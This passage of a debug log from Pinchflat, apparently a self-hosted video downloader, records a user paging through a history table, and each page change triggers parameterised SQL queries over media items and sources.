FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 35] 21:30:30.706 [debug] QUERY OK source="sources" db=0.2ms idle=1063.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 1] 21:30:30.706 [debug] Replied in 2ms 21:30:31.745 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 21:30:31.746 [debug] QUERY OK source="media_items" db=0.6ms idle=1040.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:30:31.747 [debug] QUERY OK source="media_items" db=1.2ms idle=1040.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 40] 21:30:31.748 [debug] QUERY OK source="sources" db=0.4ms idle=1041.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [1, 2] 21:30:31.748 [debug] Replied in 3ms 21:30:33.178 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 21:30:33.179 [debug] QUERY OK source="media_items" db=0.6ms idle=664.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:30:33.180 [debug] QUERY OK source="media_items" db=1.0ms idle=121.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 45] 21:30:33.181 [debug] QUERY OK source="sources" db=0.3ms idle=123.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:30:33.181 [debug] Replied in 3ms 21:30:34.383 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 21:30:34.384 [debug] QUERY OK source="media_items" db=0.6ms idle=1326.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:30:34.386 [debug] QUERY OK source="media_items" db=1.2ms idle=1205.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 50] 21:30:34.387 [debug] QUERY OK source="sources" db=0.2ms idle=1206.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:30:34.387 [debug] Replied in 3ms 21:30:35.937 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 21:30:35.938 [debug] QUERY OK source="media_items" db=0.6ms idle=1552.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:30:35.940 [debug] QUERY OK source="media_items" db=1.2ms idle=1552.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 45] 21:30:35.941 [debug] QUERY OK source="sources" db=0.3ms idle=1423.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:30:35.941 [debug] Replied in 3ms 21:30:36.229 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 21:30:36.230 [debug] QUERY OK source="media_items" db=0.2ms idle=1172.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:30:36.230 [debug] QUERY OK source="media_items" db=0.2ms idle=710.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 40] 21:30:36.231 [debug] QUERY OK source="sources" db=0.1ms idle=291.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [1, 2] 21:30:36.231 [debug] Replied in 1ms 21:30:36.722 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 21:30:36.723 [debug] QUERY OK source="media_items" db=0.3ms idle=781.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:30:36.724 [debug] QUERY OK source="media_items" db=0.5ms idle=493.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 35] 21:30:36.724 [debug] QUERY OK source="sources" db=0.1ms idle=493.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 1] 21:30:36.724 [debug] Replied in 1ms 21:30:36.966 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 21:30:36.966 [debug] QUERY OK source="media_items" db=0.3ms idle=735.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:30:36.967 [debug] QUERY OK source="media_items" db=0.5ms idle=445.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 30] 21:30:36.967 [debug] QUERY OK source="sources" db=0.1ms idle=244.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 1] 21:30:36.967 [debug] Replied in 1ms 21:30:37.281 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 21:30:37.282 [debug] QUERY OK source="media_items" db=0.3ms idle=557.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= 